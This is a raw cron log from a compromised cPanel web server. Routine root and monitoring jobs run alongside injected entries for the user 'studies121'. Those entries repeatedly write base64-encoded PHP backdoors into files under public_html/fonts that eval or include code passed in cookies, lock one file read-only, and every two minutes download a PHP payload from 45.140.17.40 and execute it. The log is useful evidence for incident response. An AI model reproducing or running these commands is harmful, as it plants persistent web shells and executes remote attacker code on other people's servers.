Sep  3 16:50:01 ip-184-168-122-23 CROND[3242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:50:01 ip-184-168-122-23 CROND[3241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:50:02 ip-184-168-122-23 CROND[3244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:50:02 ip-184-168-122-23 CROND[3245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:50:02 ip-184-168-122-23 CROND[3246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:50:02 ip-184-168-122-23 CROND[3243]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:51:01 ip-184-168-122-23 CROND[3434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:51:01 ip-184-168-122-23 CROND[3435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:51:01 ip-184-168-122-23 CROND[3437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:51:01 ip-184-168-122-23 CROND[3436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:52:01 ip-184-168-122-23 CROND[3521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:52:01 ip-184-168-122-23 CROND[3520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:52:01 ip-184-168-122-23 CROND[3522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:52:01 ip-184-168-122-23 CROND[3523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:52:01 ip-184-168-122-23 CROND[3524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:53:01 ip-184-168-122-23 CROND[3637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:53:01 ip-184-168-122-23 CROND[3639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:53:01 ip-184-168-122-23 CROND[3640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:53:01 ip-184-168-122-23 CROND[3641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:54:01 ip-184-168-122-23 CROND[3715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:54:01 ip-184-168-122-23 CROND[3717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:54:01 ip-184-168-122-23 CROND[3718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:54:01 ip-184-168-122-23 CROND[3720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:54:01 ip-184-168-122-23 CROND[3722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:55:01 ip-184-168-122-23 CROND[3809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:55:01 ip-184-168-122-23 CROND[3811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:55:01 ip-184-168-122-23 CROND[3812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:55:01 ip-184-168-122-23 CROND[3816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:55:01 ip-184-168-122-23 CROND[3814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:55:01 ip-184-168-122-23 CROND[3815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:56:01 ip-184-168-122-23 CROND[3987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:56:01 ip-184-168-122-23 CROND[3990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:56:01 ip-184-168-122-23 CROND[3991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:56:01 ip-184-168-122-23 CROND[3988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:56:01 ip-184-168-122-23 CROND[3989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:57:01 ip-184-168-122-23 CROND[4080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:57:01 ip-184-168-122-23 CROND[4081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:57:01 ip-184-168-122-23 CROND[4082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:57:01 ip-184-168-122-23 CROND[4083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:58:01 ip-184-168-122-23 CROND[4163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:58:01 ip-184-168-122-23 CROND[4165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:58:01 ip-184-168-122-23 CROND[4167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:58:01 ip-184-168-122-23 CROND[4166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:58:01 ip-184-168-122-23 CROND[4168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:59:01 ip-184-168-122-23 CROND[4253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:59:01 ip-184-168-122-23 CROND[4257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:59:01 ip-184-168-122-23 CROND[4259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:59:01 ip-184-168-122-23 CROND[4261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:00:01 ip-184-168-122-23 CROND[4355]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:00:01 ip-184-168-122-23 CROND[4357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:00:01 ip-184-168-122-23 CROND[4360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:00:01 ip-184-168-122-23 CROND[4362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:00:01 ip-184-168-122-23 CROND[4365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:00:01 ip-184-168-122-23 CROND[4367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:00:01 ip-184-168-122-23 CROND[4368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:00:01 ip-184-168-122-23 CROND[4363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:01:01 ip-184-168-122-23 CROND[4460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:01:01 ip-184-168-122-23 CROND[4459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:01:01 ip-184-168-122-23 CROND[4458]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:01:01 ip-184-168-122-23 CROND[4461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:01:01 ip-184-168-122-23 CROND[4462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:01:01 ip-184-168-122-23 CROND[4457]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4457]: starting 0anacron
Sep  3 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4479]: finished 0anacron
Sep  3 17:02:01 ip-184-168-122-23 CROND[4551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:02:01 ip-184-168-122-23 CROND[4553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
